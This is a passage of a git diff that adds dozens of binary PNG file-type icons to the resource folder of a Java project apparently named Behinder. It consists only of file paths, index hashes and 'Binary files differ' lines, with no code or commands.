Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ruleset.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/s.png b/src/main/java/net/rebeyond/behinder/resource/filetype/s.png
new file mode 100644
index 0000000..9efb453
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/s.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/sap.png b/src/main/java/net/rebeyond/behinder/resource/filetype/sap.png
new file mode 100644
index 0000000..d374c54
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/sap.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/scr.png b/src/main/java/net/rebeyond/behinder/resource/filetype/scr.png
new file mode 100644
index 0000000..b797657
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/scr.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/scss.png b/src/main/java/net/rebeyond/behinder/resource/filetype/scss.png
new file mode 100644
index 0000000..9ebf299
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/scss.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/sdf.png b/src/main/java/net/rebeyond/behinder/resource/filetype/sdf.png
new file mode 100644
index 0000000..5d33486
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/sdf.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/search-ms.png b/src/main/java/net/rebeyond/behinder/resource/filetype/search-ms.png
new file mode 100644
index 0000000..70773d8
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/search-ms.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/searchconnector-ms.png b/src/main/java/net/rebeyond/behinder/resource/filetype/searchconnector-ms.png
new file mode 100644
index 0000000..f98a5c1
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/searchconnector-ms.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/sequencediagram.png b/src/main/java/net/rebeyond/behinder/resource/filetype/sequencediagram.png
new file mode 100644
index 0000000..811e17a
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/sequencediagram.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/settings.png b/src/main/java/net/rebeyond/behinder/resource/filetype/settings.png
new file mode 100644
index 0000000..0487bd2
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/settings.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/shc.png b/src/main/java/net/rebeyond/behinder/resource/filetype/shc.png
new file mode 100644
index 0000000..33417bc
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/shc.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/shtml.png b/src/main/java/net/rebeyond/behinder/resource/filetype/shtml.png
new file mode 100644
index 0000000..46ff778
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/shtml.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/sitemap.png b/src/main/java/net/rebeyond/behinder/resource/filetype/sitemap.png
new file mode 100644
index 0000000..c7ee05c
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/sitemap.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/skin.png b/src/main/java/net/rebeyond/behinder/resource/filetype/skin.png
new file mode 100644
index 0000000..7bb0bb1
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/skin.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/snd.png b/src/main/java/net/rebeyond/behinder/resource/filetype/snd.png
new file mode 100644
index 0000000..3ad8ed4
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/snd.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/snippet.png b/src/main/java/net/rebeyond/behinder/resource/filetype/snippet.png
new file mode 100644
index 0000000..c1a8e85
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/snippet.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/snk.png b/src/main/java/net/rebeyond/behinder/resource/filetype/snk.png
new file mode 100644
index 0000000..94cfcb8
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/snk.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/sql.png b/src/main/java/net/rebeyond/behinder/resource/filetype/sql.png
new file mode 100644
index 0000000..70d3fc2
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/sql.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/sqlproj.png b/src/main/java/net/rebeyond/behinder/resource/filetype/sqlproj.png
new file mode 100644
index 0000000..41a8f25
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/sqlproj.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/srf.png b/src/main/java/net/rebeyond/behinder/resource/filetype/srf.png
new file mode 100644
index 0000000..506c5b6
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/srf.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ss.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ss.png
new file mode 100644
index 0000000..eb2a0b1
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ss.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ssmsasproj.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ssmsasproj.png
new file mode 100644
index 0000000..e81a3b1
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ssmsasproj.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ssmssqlproj.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ssmssqlproj.png
new file mode 100644
index 0000000..260c145
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ssmssqlproj.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/stl.png b/src/main/java/net/rebeyond/behinder/resource/filetype/stl.png
new file mode 100644
index 0000000..742e1fd
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/stl.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/stp.png b/src/main/java/net/rebeyond/behinder/resource/filetype/stp.png
new file mode 100644
index 0000000..0ea0d71
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/stp.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/suo.png b/src/main/java/net/rebeyond/behinder/resource/filetype/suo.png
new file mode 100644
index 0000000..9841108
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/suo.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/svc.png b/src/main/java/net/rebeyond/behinder/resource/filetype/svc.png
new file mode 100644
index 0000000..a337b7c
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/svc.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/svclog.png b/src/main/java/net/rebeyond/behinder/resource/filetype/svclog.png
new file mode 100644
index 0000000..086039c
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/svclog.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/svg.png b/src/main/java/net/rebeyond/behinder/resource/filetype/svg.png
new file mode 100644
index 0000000..46ff778
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/svg.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/switchboard.png b/src/main/java/net/rebeyond/behinder/resource/filetype/switchboard.png
new file mode 100644
index 0000000..b797657
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/switchboard.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/sys.png b/src/main/java/net/rebeyond/behinder/resource/filetype/sys.png
new file mode 100644
index 0000000..cf349cb
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/sys.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/tar.png b/src/main/java/net/rebeyond/behinder/resource/filetype/tar.png
new file mode 100644
index 0000000..df97850
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/tar.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/targets.png b/src/main/java/net/rebeyond/behinder/resource/filetype/targets.png
new file mode 100644
index 0000000..be7aed7
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/targets.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/tdf.png b/src/main/java/net/rebeyond/behinder/resource/filetype/tdf.png
new file mode 100644
index 0000000..5ee5262
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/tdf.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/testsettings.png b/src/main/java/net/rebeyond/behinder/resource/filetype/testsettings.png
new file mode 100644
index 0000000..3560397
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/testsettings.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/tga.png b/src/main/java/net/rebeyond/behinder/resource/filetype/tga.png
new file mode 100644
index 0000000..171c36a
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/tga.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/tgz.png b/src/main/java/net/rebeyond/behinder/resource/filetype/tgz.png
new file mode 100644
index 0000000..df97850
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/tgz.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/theme.png b/src/main/java/net/rebeyond/behinder/resource/filetype/theme.png
new file mode 100644
index 0000000..92fa428
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/theme.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/thmx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/thmx.png
new file mode 100644
index 0000000..17e7f2d
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/thmx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/tif.png b/src/main/java/net/rebeyond/behinder/resource/filetype/tif.png
new file mode 100644
index 0000000..018209b
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/tif.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/tpl.png b/src/main/java/net/rebeyond/behinder/resource/filetype/tpl.png
new file mode 100644
index 0000000..ed1857b
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/tpl.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/trc.png b/src/main/java/net/rebeyond/behinder/resource/filetype/trc.png
new file mode 100644
index 0000000..5ee5262
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/trc.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ts.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ts.png
new file mode 100644
index 0000000..773aaef
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ts.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/tsp.png b/src/main/java/net/rebeyond/behinder/resource/filetype/tsp.png
new file mode 100644
index 0000000..0f0816c
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/tsp.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/tsx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/tsx.png
new file mode 100644
index 0000000..2dceed8
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/tsx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/tt.png b/src/main/java/net/rebeyond/behinder/resource/filetype/tt.png
new file mode 100644
index 0000000..f77b72b
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/tt.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ttc.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ttc.png
new file mode 100644
index 0000000..5e109c9
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ttc.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ttf.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ttf.png
new file mode 100644
index 0000000..5e109c9
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ttf.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/tvc.png b/src/main/java/net/rebeyond/behinder/resource/filetype/tvc.png
new file mode 100644
index 0000000..d2a4d5f
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/tvc.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/txt.png b/src/main/java/net/rebeyond/behinder/resource/filetype/txt.png
new file mode 100644
index 0000000..87ea051
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/txt.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/ui.png b/src/main/java/net/rebeyond/behinder/resource/filetype/ui.png
new file mode 100644
index 0000000..d01c44c
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/ui.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/uitest.png b/src/main/java/net/rebeyond/behinder/resource/filetype/uitest.png
new file mode 100644
index 0000000..4ea310e
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/uitest.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/unity.png b/src/main/java/net/rebeyond/behinder/resource/filetype/unity.png
new file mode 100644
index 0000000..ac46cd4
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/unity.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/unitypackage.png b/src/main/java/net/rebeyond/behinder/resource/filetype/unitypackage.png
new file mode 100644
index 0000000..ac46cd4
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/unitypackage.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/url.png b/src/main/java/net/rebeyond/behinder/resource/filetype/url.png
new file mode 100644
index 0000000..7f0e310
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/url.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/usecasediagram.png b/src/main/java/net/rebeyond/behinder/resource/filetype/usecasediagram.png
new file mode 100644
index 0000000..68f25b2
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/usecasediagram.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/user.png b/src/main/java/net/rebeyond/behinder/resource/filetype/user.png
new file mode 100644
index 0000000..9841108
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/user.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/uue.png b/src/main/java/net/rebeyond/behinder/resource/filetype/uue.png
new file mode 100644
index 0000000..df97850
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/uue.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/val.png b/src/main/java/net/rebeyond/behinder/resource/filetype/val.png
new file mode 100644
index 0000000..b582167
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/val.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vb.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vb.png
new file mode 100644
index 0000000..09a00fb
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vb.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vbhtml.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vbhtml.png
new file mode 100644
index 0000000..4b1e470
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vbhtml.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vbs.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vbs.png
new file mode 100644
index 0000000..0b516b0
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vbs.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vcproj.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vcproj.png
new file mode 100644
index 0000000..43c7d98
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vcproj.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vcxitems.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vcxitems.png
new file mode 100644
index 0000000..481963b
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vcxitems.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vcxproj.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vcxproj.png
new file mode 100644
index 0000000..0d001e6
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vcxproj.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vhd.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vhd.png
new file mode 100644
index 0000000..b11d7fd
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vhd.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vsh.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vsh.png
new file mode 100644
index 0000000..8da6279
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vsh.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vsi.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vsi.png
new file mode 100644
index 0000000..fea9564
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vsi.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vsix.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vsix.png
new file mode 100644
index 0000000..9612760
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vsix.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vsixlangpack.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vsixlangpack.png
new file mode 100644
index 0000000..f1582d3
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vsixlangpack.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vsixmanifest.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vsixmanifest.png
new file mode 100644
index 0000000..f1582d3
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vsixmanifest.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vssettings.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vssettings.png
new file mode 100644
index 0000000..9841108
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vssettings.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vstemplate.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vstemplate.png
new file mode 100644
index 0000000..6b6c36a
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vstemplate.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/vsto.png b/src/main/java/net/rebeyond/behinder/resource/filetype/vsto.png
new file mode 100644
index 0000000..d7e7733
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/vsto.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/wav.png b/src/main/java/net/rebeyond/behinder/resource/filetype/wav.png
new file mode 100644
index 0000000..bd46302
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/wav.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/wcx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/wcx.png
new file mode 100644
index 0000000..0d6e70e
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/wcx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/webp.png b/src/main/java/net/rebeyond/behinder/resource/filetype/webp.png
new file mode 100644
index 0000000..1db4a12
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/webp.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/webtest.png b/src/main/java/net/rebeyond/behinder/resource/filetype/webtest.png
new file mode 100644
index 0000000..6de4aab
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/webtest.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/wer.png b/src/main/java/net/rebeyond/behinder/resource/filetype/wer.png
new file mode 100644
index 0000000..b582167
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/wer.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/wmdb.png b/src/main/java/net/rebeyond/behinder/resource/filetype/wmdb.png
new file mode 100644
index 0000000..3ad8ed4
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/wmdb.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/wmf.png b/src/main/java/net/rebeyond/behinder/resource/filetype/wmf.png
new file mode 100644
index 0000000..1f05eab
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/wmf.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/wmv.png b/src/main/java/net/rebeyond/behinder/resource/filetype/wmv.png
new file mode 100644
index 0000000..773aaef
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/wmv.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/wmz.png b/src/main/java/net/rebeyond/behinder/resource/filetype/wmz.png
new file mode 100644
index 0000000..cc6a277
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/wmz.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/wpl.png b/src/main/java/net/rebeyond/behinder/resource/filetype/wpl.png
new file mode 100644
index 0000000..0609cf7
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/wpl.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/wsc.png b/src/main/java/net/rebeyond/behinder/resource/filetype/wsc.png
new file mode 100644
index 0000000..16c84b6
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/wsc.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/wsdl.png b/src/main/java/net/rebeyond/behinder/resource/filetype/wsdl.png
new file mode 100644
index 0000000..a337b7c
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/wsdl.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/wsf.png b/src/main/java/net/rebeyond/behinder/resource/filetype/wsf.png
new file mode 100644
index 0000000..0b516b0
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/wsf.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/x3d.png b/src/main/java/net/rebeyond/behinder/resource/filetype/x3d.png
new file mode 100644
index 0000000..a5c0bd6
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/x3d.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xaml.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xaml.png
new file mode 100644
index 0000000..a5befca
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xaml.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xamlx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xamlx.png
new file mode 100644
index 0000000..9a4b599
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xamlx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xap.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xap.png
new file mode 100644
index 0000000..7b4a3f5
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xap.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xbap.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xbap.png
new file mode 100644
index 0000000..c338093
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xbap.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xel.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xel.png
new file mode 100644
index 0000000..36bdef3
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xel.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xht.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xht.png
new file mode 100644
index 0000000..46ff778
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xht.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xla.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xla.png
new file mode 100644
index 0000000..c54227a
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xla.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xlam.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xlam.png
new file mode 100644
index 0000000..c54227a
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xlam.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xll.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xll.png
new file mode 100644
index 0000000..45c8f32
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xll.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xls.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xls.png
new file mode 100644
index 0000000..fb61aa3
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xls.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xlsm.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xlsm.png
new file mode 100644
index 0000000..0e83553
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xlsm.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xlsx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xlsx.png
new file mode 100644
index 0000000..6f5d980
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xlsx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xltx.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xltx.png
new file mode 100644
index 0000000..de69dae
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xltx.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xmla.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xmla.png
new file mode 100644
index 0000000..76f2728
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xmla.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xoml.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xoml.png
new file mode 100644
index 0000000..9b9f422
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xoml.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xproj.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xproj.png
new file mode 100644
index 0000000..278cb62
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xproj.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xrm-ms.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xrm-ms.png
new file mode 100644
index 0000000..8a4f0b9
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xrm-ms.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xsc.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xsc.png
new file mode 100644
index 0000000..a306f04
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xsc.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xsd.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xsd.png
new file mode 100644
index 0000000..a38a980
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xsd.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xsl.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xsl.png
new file mode 100644
index 0000000..8871001
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xsl.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/xslt.png b/src/main/java/net/rebeyond/behinder/resource/filetype/xslt.png
new file mode 100644
index 0000000..8871001
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/xslt.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/z.png b/src/main/java/net/rebeyond/behinder/resource/filetype/z.png
new file mode 100644
index 0000000..df97850
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/z.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/zdct.png b/src/main/java/net/rebeyond/behinder/resource/filetype/zdct.png
new file mode 100644
index 0000000..fc0bdf5
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/zdct.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/zfsendtotarget.png b/src/main/java/net/rebeyond/behinder/resource/filetype/zfsendtotarget.png
new file mode 100644
index 0000000..9906fd3
Binary files /dev/null and b/src/main/java/net/rebeyond/behinder/resource/filetype/zfsendtotarget.png differ
diff --git a/src/main/java/net/rebeyond/behinder/resource/filetype/zip.png b/src/main/java/net/rebeyond/behinder/resource/filetype/zip.png
new file mode 100644
